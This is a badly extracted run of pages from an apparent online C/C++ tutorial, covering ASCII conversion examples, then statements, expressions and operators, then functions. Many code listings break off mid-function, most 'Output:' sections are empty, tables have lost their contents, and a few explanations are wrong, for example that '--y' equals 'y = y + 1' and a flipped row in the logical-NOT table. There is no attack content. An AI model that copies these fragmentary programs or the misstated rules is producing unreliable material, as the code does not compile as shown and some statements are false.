case 1:{printf("hex 1 is SOH-start of heading ascii");}break;
case 2:{printf("hex 2 is STX-start of text ascii");}break;
case 3:{printf("hex 3 is ETX-end of text ascii");}break;
case 4:{printf("hex 4 is EOT-end of transmission ascii");}break;
case 5:{printf("hex 5 is ENQ-enquiry ascii");}break;
case 6:{printf("hex 6 is ACK-acknowledge ascii");}break;
case 7:{printf("hex 7 is BEL-bell ascii");}break;
case 8:{printf("hex 8 is BS-backspace ascii");}break;
case 9:{printf("hex 9 is TAB-horizontal tab ascii");}break;
case 10:{printf("hex A is LF-NL line feed, new line ascii");}break;
case 11:{printf("hex B is VT-vertical tab ascii");}break;
case 12:{printf("hex C is FF-NP form feed, new page ascii");}break;
case 13:{printf("hex D is CR-carriage return ascii");}break;
case 14:{printf("hex E is SO-shift out ascii");}break;
case 15:{printf("hex F is SI-shift in ascii");}break;
case 16:{printf("hex 10 is DLE-data link escape ascii");}break;
case 17:{printf("hex 11 is DC1-device control 1 ascii");}break;
case 18:{printf("hex 12 is DC2-device control 2 ascii");}break;
case 19:{printf("hex 13 is DC3-device control 3 ascii");}break;
case 20:{printf("hex 14 is DC4-device control 4 ascii");}break;
case 21:{printf("hex 15 is NAK-negative acknowledge ascii");}break;
case 22:{printf("hex 16 is SYN-synchronous idle ascii");}break;
case 23:{printf("hex 17 is ETB-end of trans. block ascii");}break;
case 24:{printf("hex 18 is CAN-cancel ascii");}break;
case 25:{printf("hex 19 is EM-end of medium ascii");}break;
case 26:{printf("hex 1A is SUB-substitute ascii");}break;
case 27:{printf("hex 1B is ESC-escape ascii");}break;
case 28:{printf("hex 1C is FS-file separator ascii");}break;
case 29:{printf("hex 1D is GS-group separator ascii");}break;
case 30:{printf("hex 1E is RS-record separator ascii");}break;
case 31:{printf("hex 1F is US-unit separator ascii");}break;
}
}
else
printf ("\nThe number \"%X\" in hex is equivalent to \"%c\" ascii
character.\n", ans, ans);
}
www.tenouk.com Page 25 of 29
void decnumtobin (int *dec)
{
int input = *dec;
int i;
int count = 0;
int binary[128];
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);
Output:
Example #17
int main()
{
int num;
printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();
www.tenouk.com Page 26 of 29
printf("Character Integer Hexadecimal Octal\n");
while(getchar() != EOF)
{
printf(" %c %d %x %o\n", num, num, num, num);
++num;
}
return 0;
}
Output:
/*main function*/
int main()
{
int p = 2000; /*positive integer data type*/
short int q = -120; /*variation*/
unsigned short int r = 121; /*variation*/
float s = 21.566578; /*float data type*/
char t = 'r'; /*char data type*/
long u = 5678; /*long positive integer data type*/
unsigned long v = 5678; /*variation*/
long w = -5678; /*-ve long integer data type*/
int x = -171; /*-ve integer data type*/
short y = -71; /*short -ve integer data type*/
unsigned short z = 99; /*variation*/
double a = 88.12345; /*double float data type*/
float b = -3.245823; /*float data type*/
www.tenouk.com Page 27 of 29
[bodo@bakawali ~]$ gcc datatype.c -o datatype
[bodo@bakawali ~]$ ./datatype
#include <stdio.h>
#include <stdlib.h>
int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}
void dectobin()
{
int input;
printf("Enter decimal number: ");
scanf("%d", &input);
if (input < 0)
printf("Enter unsigned decimal!\n");
www.tenouk.com Page 28 of 29
[bodo@bakawali ~]$ gcc binary.c -o binary
[bodo@bakawali ~]$ ./binary
----------------------------------------------------o0o---------------------------------------------------
1. The ASCII, EBCDIC and UNICODE character sets reference Table can be found here: Character sets
Table.
2. Check the best selling C / C++ books at Amazon.com.
www.tenouk.com Page 29 of 29
MODULE 3
STATEMENTS, EXPRESSIONS
AND OPERATORS
Abilities
▪ Statements.
▪ Expressions.
▪ Operators.
▪ The Unary Mathematical Operators.
▪ The Binary Mathematical Operators.
▪ Precedence and Parentheses.
▪ Relational Operator.
▪ Expression and if Statement.
▪ Relational Expressions.
▪ Precedence of Relational Operators.
▪ Logical Operators.
▪ True and False Values.
▪ Precedence of Logical Operators.
▪ Compound Assignment Operators.
▪ The Conditional Operator (Ternary).
▪ The Bitwise operators.
▪ The Comma Operator.
3.1 Statements
- A statement is a complete instruction asking the computer to carry out some tasks.
- Normally written one per line, although some statements span multiple lines.
- Always end with a semicolon ( ; ), except for preprocessor directive such as #define and #include.
- For example:
←←←
Evaluation direction
x = 2 + 3;
- This statement instructs the computer to add 2 to 3 and assign the result to the variable x.
- C/C++ compiler is not sensitive to white spaces such as spaces, tabs and blank lines in the source code,
within the statements.
- Compiler read a statement in the source code it looks for the characters and for the terminating semicolon
and ignores the white space. For example, three of the following examples are same.
x = 2 + 3; or
x=2+3; or
x =
2
+
3;
- You can try compiling the following program example; the ‘not so readable’ codes, then see whether it is
valid or not.
www.tenouk.com Page 1 of 28
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix
mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d
prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b =
%d", a--, --b);printf("\n");system("pause");return 0;}
Output:
- The most important thing here is the semicolon that defines a statement and codes such as preprocessor
directive and comments that cannot be in the same line with other codes. See also how the white spaces
have been ignored and how the compiler read the codes.
- But there is an exception: For Literal string constants, white space such as tabs and spaces are
considered part of the string.
- A string is a series of characters or combination of more than one character.
- Literal string constants are strings that are enclosed within double quotes and interpreted literally by the
compiler, space by space.
- Is legal but:
- To break a literal string constant line, use the backslash character ( \ ) just before the break, like this:
printf("Hello, \
World");
- For C++ you can use the double quotation pair, " " for each literal string for each line, so can break
more than one line easily.
- For example:
www.tenouk.com Page 2 of 28
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;
- For a character, we use single quotation mark (''). So, you can see that for one character only, the using
"" and '' should provide the same result isn’t it? For example:
- Is a group of more than one C/C++ statements enclosed in curly braces. For example:
- Same as:
{printf("Hello, ");
printf("world! ");}
Note:
Bracket / square bracket - [ ]
Parentheses - ( )
Curly braces - { }
Angled brackets - < >
3.3 Expressions
x = 2 + 8;
x = a + 10;
- The last one evaluates the expression a + 10 and assigns the result to variable x.
- So, the general form of expression and variables, evaluated from the right to left, is:
variable = any_expression;
- E.g.
y = x = a + 10;
www.tenouk.com Page 3 of 28
x = 6 + (y = 4 + 5);
3.4 Operators
- Is a symbol that instructs C/C++ to perform some operation, or action, on one or more operands.
- Operand is something that an operator acts on.
- For example:
x = 2 + 3;
- In C/C++, all operands are expressions; and operators fall into several categories as follow:
x = y;
- Called unary because they take a single operand as shown in table 3.1.
Table 3.1
- These operators can be used only with variables not with constants.
- To add 1 or to subtract 1 from the operand.
++x same as x = x + 1
--y same as y = y + 1
- ++x and --y are called prefix mode, that means the increment or decrement operators modify their
operand before it is used.
- x++ and y-- are called postfix mode, the increment or decrement operators modify their operand after it
is used. Remember the before used and after used words.
- For example:
Postfix mode:
www.tenouk.com Page 4 of 28
x = 10;
y = x++;
After these statements are executed, x = 11, y has the value of 10, the value of x was assigned
to y, and then x was incremented.
Prefix mode:
y = 10;
y = ++x;
Both y and x having the value of 11, x is incremented, and then its value is assigned to y.
- Try the following program and study the output and the source code.
int main()
{
int a, b;
//set a and b both equal to 5
a = b = 5;
//print them, decrementing each time
//use prefix mode for b, postfix mode for a
Output:
- Change all the -- operator to ++ operator and re run the program, notice the different.
- Is used with printf() and scanf() function and other input/output functions to determine the
format of the standard output (screen) and standard input (keyboard).
- The frequently used format specifiers are listed in Table 3.2. Other format specifiers and their usage will
be discussed in formatted input/output Module in more detail.
www.tenouk.com Page 5 of 28
%f Is to print floating-point number.
%.2f Prints numbers with fractions with up to two decimal places.
%u Prints unsigned integer
Table 3.2
- Try the following program example and study the output and the source code.
int main()
{
printf("My name is %s and I am %d years old.\n", "John", 25);
printf("Examples of the decimal points %f\t%.3f\t%.2f\t\n",1.7885,1.7885,1.7885);
printf("Examples of characters\n");
printf(" %c \n %c \n %c\n", 'A', 'B', 'a');
system("pause");
return 0;
}
Output:
- C/C++ binary mathematical operators take two operands as listed in Table 3.3.
Table 3.3
- Modulus example:
www.tenouk.com Page 6 of 28
- Try the following program example and study the output and the source code.
int main()
{
unsigned seconds, minutes, hours, secs_left, mins_left;
Output:
#include <iostream.h>
www.tenouk.com Page 7 of 28
#include <stdlib.h>
//For VC++ .Net use the following processor directives
//comment out the previous #include…
//#include <iostream>
//#include <cstdlib>
//using namespace std;
//Define constants
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600
void main()
{
unsigned int seconds, minutes, hours, secs_left, mins_left;
Output:
- Expression that contains more than one operator, the order in which operation are performed can be
confusing.
- For example:
x = 4 + 5 * 3;
x = 9 * 3;
x = 4 + 15;
- So, need some rules to define the order in which operations are performed. This is called operator
precedence.
- Operator with higher precedence is performed first.
- Precedence examples:
- If the operators are in the same level, then, the operators are performed from left to right order, referring
to table 3.4.
- For example:
www.tenouk.com Page 8 of 28
- But a sub expression enclosed in the parentheses, ( ), is evaluated first, without regard to the operator
precedence because parentheses have the highest precedence.
- For example:
x = (4 + 5) * 3
= 9 * 3
= 27
- For nested parentheses (more than one parentheses), evaluation proceeds from the innermost expression
outward.
- For example:
8 / 2 = 4
25 – (2 * (10 + 4))
2. Moving outward, 10 + 4 = 14
25 – (2 * 14)
25 – 28
25 – 28 = -3
- Use parentheses in expressions for clarity and readability, and must always be in pairs.
- Used to compare expressions, asking questions such as, “is x greater than 200?” or “is y equal to 10”.
- An expression containing a relational operator evaluates as either TRUE (1) or FALSE (0).
- C/C++ has six relational operators as shown in Table 3.5:
www.tenouk.com Page 9 of 28
to operand 2?
- Simple examples:
- Relational operators are used mainly to construct the relational expressions used in if and while
statements.
- This is the introduction of the basic if statement, used to create program control statements. Till now
we only deal with the top down approach or line by line code but that is not the limitation.
- We will learn more detail about program control in program control Module. Assume this part as an
introduction.
if ( expression )
statement(s);
next_statement;
1. Evaluate an expression and directs program execution depending on the result of that
evaluation.
2. If the expression evaluate as TRUE, statement(s) is executed, if FALSE,
statement(s) is not executed, execution then passed to the code follows the if
statement, that is the next_statement.
3. So, the execution of the statement(s) depends on the result of expression.
- if statement also can control the execution of multiple statements through the use of a compound
statement or a block of code. A block is a group of two or more statements enclosed in curly braces, { }.
- Typically, if statements are used with relational expressions, in other words, "execute the following
statement(s) only if a certain condition is true".
- For example:
if ( expression )
{
statement1;
statement2;
...
...
statement-n;
}
next_statement;
- Program example:
www.tenouk.com Page 10 of 28
//Demonstrate the use of the if statements
#include <stdio.h>
#include <stdlib.h>
int main ( )
{
int x, y;
//Input the two values to be tested
printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);
if (x > y)
{
printf("\nx is greater than y");
}
if (x < y)
{
printf("\nx is smaller than y");
}
printf("\n\n");
system("pause");
return 0;
}
Possible outputs:
- We can see that this procedure is not efficient. Better solution is to use if–else statement as shown
below:
www.tenouk.com Page 11 of 28
if ( expression )
statement1;
else
statement2;
next_statement;
- The expression can be evaluated to TRUE or FALSE. The statement1 and statement2 can be
compound or a block statement.
- This is called a nested if statement. Nesting means to place one or more C/C++ statements inside
another C/C++ statement.
- Program example:
int main()
{
int x, y;
Possible outputs:
www.tenouk.com Page 12 of 28
- Keep in mind that we will learn if–else statements more detail in program controls Module. As a pre
conclusion, there are 3 form of if statements.
Form 1:
if ( expression )
statement1;
next_statement;
Form 2:
if ( expression )
statement1;
else
statement2;
next_statement;
Form 3:
if ( expression )
statement1;
else if ( expression )
statement2;
else if ( … )
statement3;
…
…
…
else
statementN;
next_statement;
- Expression using relational operators evaluate, by definition, to a value of either FALSE (0) or TRUE
(1).
- Normally used in if statements and other conditional constructions.
- Also can be used to produce purely numeric values.
- Program example:
int main()
{
int a;
a = (5 == 5);
//Evaluates to 1, TRUE
printf ("\na = (5 == 5)\n Then a = %d\n", a);
a = (5 != 5);
//Evaluates to 0, FALSE
printf ("\na = (5 != 5)\n Then a = %d\n", a);
www.tenouk.com Page 13 of 28
//Evaluates to 1 + 1, TRUE
printf("\na = (12 == 12) + (5 != 1)\n Then a = %d\n", a);
system("pause");
return 0;
}
Output:
if(x = 5)
printf("x is equal to 5");
- The message always prints because the expression being tested by the if statement always evaluates as
TRUE, no matter what the original value of x happens to be.
- Referring to the above example, the value 5 does equal 5, and true (1) is assigned to 'a'. "5 does not
equal 5" is FALSE, so 0 is assigned to 'a'.
- As conclusion, relational operators are used to create relational expression that asked questions about
relationship between expressions. The answer returned by a relational expression is a numeric value 1 or
0.
(x + 2 > y)
((x + 2) > y)
- For example:
- Avoid using the “not equal to” operator ( != ) in an if statement containing an else, use “equal to” ( == )
for clarity.
- For example:
www.tenouk.com Page 14 of 28
if(x != 5)
statement1;
else
statement2;
if(x == 5)
statement1;
else
statement2;
- C/C++ logical operators enable the programmer to combine 2 or more relational expressions into a single
expression that evaluate as either TRUE (1) or FALSE (0).
Expression Evaluates As
(expression1
True (1) only if both expression1 and
&&
expression2 are true; false (0) otherwise.
expression2)
(expression1 || True (1) if either expression1 or expression2 is
expression2) true; false (0) only if both are FALSE.
False (0) if expression1 is true; true (1) if
(! expression1)
expression1 is true.
Table 3.8: Evaluation of the logical expressions
- These expressions use the logical operators to evaluate as either TRUE or FALSE depending on the
TRUE/FALSE value of their operand(s).
- For example:
Expressions Evaluates As
True (1) because both operands are
(5 == 5) && (6 != 2)
true
True (1) because one operand is
(5 > 1) || (6 < 1)
true
False (0) because one operand is
(2 == 1) && (5 == 5)
false
True (1) because the operand is
! (5 == 4)
false
NOT (FALSE) = TRUE
www.tenouk.com Page 15 of 28
Table 3.10: Logical AND Operation
- For example:
x = 125;
if(x)
printf("%d", x)
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a = 5, b = 6, c = 5, d = 1;
int x;
www.tenouk.com Page 16 of 28
Output:
- Condition 1 logical expression that evaluate as true if condition 3 is true and if either condition 1 or
condition 2 is true. But this do not fulfill the specification because the && operator has higher
precedence than ||, the expression is equivalent to a < b || (a < c && c < d) and evaluates as true if (a < b)
is true, regardless of whether the relationships (a < c) and (c < d) are true.
x = x + 5;
⇒ x += 5;
- The examples:
Expression Equivalent
x * = y x = x * y
y -= z + 1 y = y – z + 1
a / = b a = a / b
x += y / 8 x = x + y / 8
y %= 3 y = y % 3
- Another example:
If x = 12;
Then,
z = x += 2;
z = x = x + 2
= 12 + 2
= 14
- Program example:
www.tenouk.com Page 17 of 28
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a = 3, b = 4;
printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
system("pause");
return 0;
}
Output:
- If expression1 evaluates as true (non zero), the entire expression evaluated to the value of
expression2. If expression1 evaluates as false (zero), the entire expression evaluated to the
value of expression3.
- For example:
x = y ? 1 : 100;
- It also can be used in places an if statement cannot be used, such as inside a single printf()
statement. For example:
z = (x > y)? x : y;
if(x > y)
www.tenouk.com Page 18 of 28
z = x;
else
z = y;
- Program example.
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a, b = 4, c= 50;
Output:
- Change the (b>c) to (b<c), then recompile and rerun. Notice the output difference.
Operator Description
The bit in the result are set to 1 if the corresponding bits in the two
& (bitwise AND)
operands are both 1, otherwise it returns 0.
The bit in the result is set to 1 if at least one (either or both) of the
| (bitwise inclusive OR)
corresponding bits in the two operands is 1, otherwise it returns 0.
The bit in the result is set to 1 if exactly one of the corresponding bits in
^ (bitwise exclusive OR)
the two operands is 1.
~ (bitwise complement) Negation. 0 bit set to 1, and 1 bit set to 0. Also used to create destructors.
Moves the bit of the first operand to the left by the number of bits
<< (bitwise shift left) specified by the second operand; it discards the far left bit ; fill from the
right with 0 bits.
Moves the bit of the first operand to the right by the number of bits
>> (bitwise shift right) specified by the second operand; discards the far right bit; fill from the
right with 0 bits.
- Bitwise AND, bitwise inclusive OR, bitwise exclusive OR operators compare their two operands bit by
bit.
- &, >>, << are context sensitive. & can also be the pointer reference operator. >> can also be the input
operator in I/O expressions. << can also be the output operator in I/O expressions. You will learn this in
another Module.
www.tenouk.com Page 19 of 28
- Example of the &, | and ^ operators.
Operand1, OP1 Operand2, OP2 OP1 & OP2 OP1 | OP2 OP1 ^ OP2
0 0 0 0 0
1 0 0 1 1
0 1 0 1 1
1 1 1 1 0
- Program example:
//bitwise operators
#include <stdlib.h>
#include <stdio.h>
int main()
{
unsigned p;
//function prototype…
void DisplayBits(unsigned);
//function definition…
void DisplayBits(unsigned number)
{
unsigned q;
//2 byte, 16 bits position
//operated bit by bit and hide/mask other bits
//using left shift operator
//start with 10000000 00000000
unsigned DisplayMask = 1<<15;
Output:
- Change DisplayMask = 0<<15 and & to | for inclusive OR operation and rerun the program.
- The shift general syntax:
- The shift count must be non-negative and less than the number of bits required to represent the data type
of the left operand.
- For example, let say the variable declaration is:
www.tenouk.com Page 20 of 28
unsigned int p = 5
- For right shift, while bits are shifted toward low-order position, 0 bits enter the high-order positions, if
the data is unsigned. If the data is signed and the sign bit is 0, then 0 bits also enter the high-order
positions.
- If the sign bit is 1, the bits entering high-order positions are implementation dependent, on some
machines (processor architecture) 1s, and on others 0s, are shifted in.
- The former type of operation is known as the arithmetic right shift, and the latter type is the logical
right shift. So, for portability issue, these operators should only be used on unsigned operands.
- For example:
- Program example:
//bitwise operators
#include <stdlib.h>
#include <stdio.h>
int main()
{
unsigned int num1, num2, num3, mask, SetBit;
num1 = 7535;
mask = 1;
num1 = 15;
SetBit = 241;
printf("\nThe result of inclusive ORing the following numbers\n");
printf("using the bitwise inclusive OR, | is\n");
BitwiseOp(num1);
BitwiseOp(SetBit);
printf(" ------------------------\n");
//Bitwise inclusive OR operation
BitwiseOp(num1 | SetBit);
www.tenouk.com Page 21 of 28
num1 = 249;
num2 = 299;
printf("\nThe result of exclusive ORing the following numbers\n");
printf("using the bitwise exclusive OR, ^ is\n");
BitwiseOp(num1);
BitwiseOp(num2);
//Bitwise exclusive OR operation
printf(" ------------------------\n");
BitwiseOp(num1 ^ num2);
num3 = 21321;
printf("\nThe One's complement of\n");
BitwiseOp(num3);
printf(" |||||||| ||||||||\n");
//One's complement operation
BitwiseOp(~num3);
system("pause");
return 0;
}
//function definition…
void BitwiseOp(unsigned int value)
{
unsigned int p;
//Two 8 bits, 16 position, shift to left
unsigned int DisplayMask = 1 << 15;
Output:
- For C++, the following is a list of the binary operators’ categories that can be used in C++ expressions.
www.tenouk.com Page 22 of 28
Assignment (=)
Addition assignment (+=)
Subtraction assignment (–=)
Multiplication assignment (*=)
Division assignment (/=)
Modulus assignment (%=)
Left shift assignment (<<=)
Right shift assignment (>>=)
Bitwise AND assignment (&=)
Bitwise exclusive OR assignment (^=)
Bitwise inclusive OR assignment (|=)
2 Additive operators:
Addition (+)
Subtraction (–)
3 Multiplicative operators:
Multiplication (*)
Division (/)
Modulus (%)
4 Shift operators:
Right shift (>>)
Left shift (<<)
6 Bitwise operators:
Bitwise AND (&)
Bitwise exclusive OR (^)
Bitwise inclusive OR (|)
7 Logical operators:
Logical AND (&&)
Logical OR (||)
- Furthermore in C++ the <bitset> header defines the template class bitset and two supporting template
functions for representing and manipulating fixed-size sequences of bits.
x = (a ++, b++);
Operators Associativity
( ) [ ] → . Left to right
! ~ ++ -- + - * & (type)
Right to left
sizeof()
www.tenouk.com Page 23 of 28
* / % Left to right
+ - Left to right
<< >> Left to right
< <= > >= Left to right
== != Left to right
& Left to right
^ Left to right
| Left to right
&& Left to right
|| Left to right
?: Right to left
= += -= *= /= %= &=
Right to left
^= |= <<= >>= ,
Left to right
The operators are shown in decreasing order of precedence from
top to bottom
- For this Table it is read from top (the highest) to bottom (the lowest). Then if they are at the same level,
we read it from left (the highest) to right (the lowest).
int main()
{
int count;
Output:
www.tenouk.com Page 24 of 28
//using pre defined functions
//getchar() and putchar() with End Of File, EOF
//EOF is system dependent
#include <stdio.h>
#include <stdlib.h>
int main()
{
int count;
Output:
int main()
{
//printf("Some prompt here...\n");
Output:
www.tenouk.com Page 25 of 28
//simple steps in program development…
#include <stdio.h>
#include <stdlib.h>
int main()
{
//printf("Some prompt here...\n");
Output:
int main()
{
//printf("Some prompt here...\n");
www.tenouk.com Page 26 of 28
//-------------First: build the loop-----------
//while storing the character process
//not equal to the End Of File...
while((count = getchar()) != EOF)
{
//do the character count
if(count != ' ')
++charnum;
//and the line count...
if(count == '\n')
{
++linenum;
charnum = charnum -1;
}
}
//----------Second: test the output---------------
printf("The number of line = %d\n", linenum);
printf("The number of char = %d\n", charnum);
return 0;
}
Output:
/******-cpoundassig.c-*******/
#include <stdio.h>
int main()
{
int a = 10, b = 20;
printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
return 0;
}
a += b ---> a = a + b = 30
a last value = 30
a *= b ---> a = a * b = 600
a last value = 600
a -= b ---> a = a - b = 580
a last value = 580
a/=b ---> a = a / b = 29
www.tenouk.com Page 27 of 28
a last value = 29
a-=(b+1)---> a = a - (b + 1) = 8
a last value = 8
- Another example.
/*bitwise operators*/
/******--bitwise.c--******/
#include <stdio.h>
int main()
{
unsigned p;
/*function prototype.*/
void DisplayBits(unsigned);
/*function definition.*/
void DisplayBits(unsigned number)
{
unsigned q;
/*2 byte, 16 bits position*/
/*operated bit by bit and hide/mask other bits*/
/*using left shift operator*/
/*start with 10000000 00000000*/
unsigned DisplayMask = 1<<15;
------------------------------------------------o0o------------------------------------------------
www.tenouk.com Page 28 of 28
MODULE 4
FUNCTIONS
Receive nothing, return nothing-receive nothing, return something-
receive something, return something-receive something, return nothing
And they do something. That is a function!
Abilities
- Most computer programs that solve real-world problem are large, containing thousand to million lines
of codes and developed by a team of programmers.
- The best way to develop and maintain large programs is to construct them from smaller pieces or
modules, each of which is more manageable than the original program.
- These smaller pieces are called functions. In C++ you will be introduced to Class, another type smaller
pieces construct.
- The function and class are reusable. So in C / C++ programs you will encounter and use a lot of
functions. There are standard (normally called library) such as maintained by ANSI C / ANSI C++,
ISO/IEC C, ISO/IEC C++ and GNU’s glibc or other non-standard functions (user defined or vendors
specific or implementations or platforms specific).
- If you have noticed, in the previous Modules, you have been introduced with many functions, including
the main(). main() itself is a function but with a program execution point.
- Functions are very important construct that marks the structured or procedural programming approach.
- In general terms or in other programming languages, functions may be called procedures or routines
and in object oriented programming, methods may be used interchangeably with functions.
- Some definition: A function is a named, independent section of C / C++ code that performs a specific
task and optionally returns a value to the calling program.
- So, in a program, there are many calling function codes and called functions (normally called callee).
- There are basically two categories of function:
- You will encounter a lot of the predefined functions when you proceed from Module to Module of this
Tutorial. Here we will try to concentrate on the user-defined functions (also apply to predefined
function), which basically having the following characteristics:
www.tenouk.com Page 1 of 41
Task is a discrete job that the program must perform as part of its overall operation, such as
sending a line of text to the printer, sorting an array into numerical order, or calculating a cube
root, etc.
3. A function is independent.
A function can perform its task without interference from or interfering with other parts of the
program. The main program, main() also a function but with an execution point.
- Let try a simple program example that using a simple user defined function:
long cube(long);
//function prototype, explained later
void main()
{
long input, answer;
//function definition
long cube(long x)
{
//local scope (to this function) variable
long x_cubed;
Output:
- The following statement is calling cube() function, bringing along the value assigned to the input
variable.
www.tenouk.com Page 2 of 41
- When this statement is executed, program jump to the cube() function definition:
- After finished the execution, the cube() function returns to the calling code, where in this case, assign
the return value, x_cubed to an answer variable.
- main(), scanf(), print() are examples of the standard predefined functions.
- A C / C++ program does not execute the statements in a function until the function is called by another
part of the program.
- When C / C++ function is called, the program can send information to the function in the form of one
or more what is called arguments although it is not a mandatory.
- Argument is a program data needed by the function to perform its task.
- When the function finished its processing, program returns to the same location that called the function.
- The following figure illustrates a function call.
Arrow Means
→ Calling function with data (argument) if any
← Return to the next statement or execution with data if any
www.tenouk.com Page 3 of 41
- When a program calls a function, executions passed to the function and then back to the calling
program’s code.
- Function can be called as many times as needed as shown for function2() in the above figure, and
can be called in any order provided that it has been declared (as a prototype) and defined.
- Is the actual function body, which contains the code that will be executed as shown below:
long cube(long x)
{
//local scope (to this function) variable
long x_cubed;
- First line of a function definition is called the function header, should be identical to the function
prototype, except the semicolon.
- Although the argument variable names (x in this case) were optional in the prototype, they must be
included in the function header.
- Function body, containing the statements, which the function will perform, should begin with an
opening brace and end with a closing brace.
- If the function returns data type is anything other than void (nothing to be returned), a return statement
should be included, returning a value matching the return data type (long in this case).
3. Reusability.
Repeated tasks or routines can be accomplished using functions. This can overcome the
redundancy of code writing, for same tasks or routines, it can be reused, no need to rewrite
the code, or at least only need a little modification.
- Advantages: Can save programmers’ time and a function written can be reused (reusability).
- Structured program requires planning, before we start writing a single line of code.
- The plan should be a list of the specific tasks that the program performs.
- Imagine that you are planning to create a program to manage a name and address list of students.
Planning: Roughly the algorithm normally written in pseudo code might be (not in order):
www.tenouk.com Page 4 of 41
- So, the program is divided into 4 main tasks, each of which can be assigned to a function.
- Next, if needed, we still can divide these tasks into smaller tasks called subtasks.
- For example, as a common sense, for the "Enter new names and addresses" we can divide to the
following subtasks:
- Then if needed, "Modify existing entries" task still can be subdivided to the following subtasks:
- Finally we can see that there are two common subtasks: "Reading from disk and saving to disk"
- So, one function can be called by both the "Enter new names and address" function and the "Modify
existing entries" function. No redundancy or repetition and the functions created and tested can be
reused later on by programs that need the same tasks.
- Same for the subtask "Save the updated list to disk".
- Structured programming method results in a hierarchical or layered program structure, as depicted in
figure 4.1:
- Using structured programming, C/C++ programmers take the top-down approach as in the previous
figure. So, program’s structure resembles an inverted tree, from the root then to the trunk then to the
branch and finally to the leafs.
- From the main() program, subdivide the task to smaller tasks (subtasks). Then these smaller subtasks
are divided again if needed, to smaller subtasks and so on.
- Every subtask then assigned to the specific functions.
- You can see that most of the real work of the program is performed by the functions at the “tip of the
branches”.
- The functions closer to the trunk primarily are direct program execution among these functions.
- So, main body of the program has a small amount of code and every function acts independently. To
see how this approach been implemented, check Example #13 at the end of this Module.
- The first step is to know what task the function should perform. Then, detail the function declaration
and definition.
www.tenouk.com Page 5 of 41
- When you create functions or use the pre-defined functions, for debugging and testing, you may
convert each function to main() program, to test it individually, because function cannot be run
individually.
- Next, when you have satisfied with the execution of each separate main() program, re convert these
separate main() programs to the respective functions and call the functions from within one main()
program. Keep in mind that main() is also a function but with execution point. Let discussed the
details how to write a function.
- The first line of every function is called function header. It has 3 components, as shown below:
2. Function name
Can have any name as long as the rules for C/C++ variable names are followed and must be
unique.
3. Parameter list
Many functions use arguments, the value passed to the function when it is called. A
function needs to know what kinds of arguments to expect, that is, the data type of
each argument. A function can accept any of C/C++ basic data types. Argument type
information is provided in the function header by the parameter list. This parameter list just
acts as a placeholder.
- For each argument that is passed to the function, the parameter list must contain one entry, which
specifies the data type and the name of the parameter.
- For example:
- The first line specifies a function with three arguments: a type int named x, a type float named y
and a type char named z.
- Some functions take no arguments, so the parameter list should be void such as:
long thefunction(void)
void testfunct(void)
int zerofunct()
- Parameter is an entry in a function header. It serves as a placeholder for an argument. It is fixed, that
is, do not change during execution.
www.tenouk.com Page 6 of 41
- The argument is an actual value passed to the function by the calling program. Each time a function is
called, it can be passed with different arguments through the parameters.
- A function must be passed with the same number and type of arguments each time it is called, but the
argument values can be different.
- In function, using the corresponding parameter name accesses the argument.
- Program example:
//main() function
void main()
{
float x = 3.5, y = 65.11, z;
float half_of (float);
//In this call, x is the argument to half_of().
z = half_of(x);
//function definition
float half_of(float k)
{
//k is the parameter. Each time half_of() is called,
//k has the value that was passed as an argument.
return (k/2);
}
Output:
www.tenouk.com Page 7 of 41
- Each time a function is called, the different arguments are passed to the function’s parameter.
- z = half_of(y) and z = half_of(x), each send a different argument to half_of() through
the k parameter.
- The first call send x, contain a value of 3.5, then the second call send y, contain a value of 65.11.
- The value of x and y are passed into the parameter k of half_of().
- Same effect as copying the values from x to k, and then y to k.
- half_of() then returns this value after dividing it by 2.
- We can depict this process graphically as follows:
int function1(int y)
{
Int a, b=10; // local variable
Float rate; // local variable
Double cost=12.55; // local variable, been initialized
}
- Program example:
www.tenouk.com Page 8 of 41
Output:
- The function parameters are considered to be variable declaration, so, the variables found in the
functions parameter list are also available.
- Function prototype normally placed before main() and your function definition after main() as
shown below. For C++, the standard said that we must include the prototype but not for C.
#include …
/*function prototype;*/
int funct1(int);
int main()
{
/*function call*/
int y = funct1(3);
…
}
/*Function definition*/
int funct1(int x)
{…}
- But it is OK if we directly declare and define the function before main() as shown below. This
becomes an inline function.
#include …
int main()
{
/*function call*/
int y = funct1(3);
…
www.tenouk.com Page 9 of 41
}
- Or you will find later that we can declare, define and implement the functions in other files.
- Three rules govern the use of variables in functions:
1. To use a variable in a function, the programmer must declare it in the function header or the
function body.
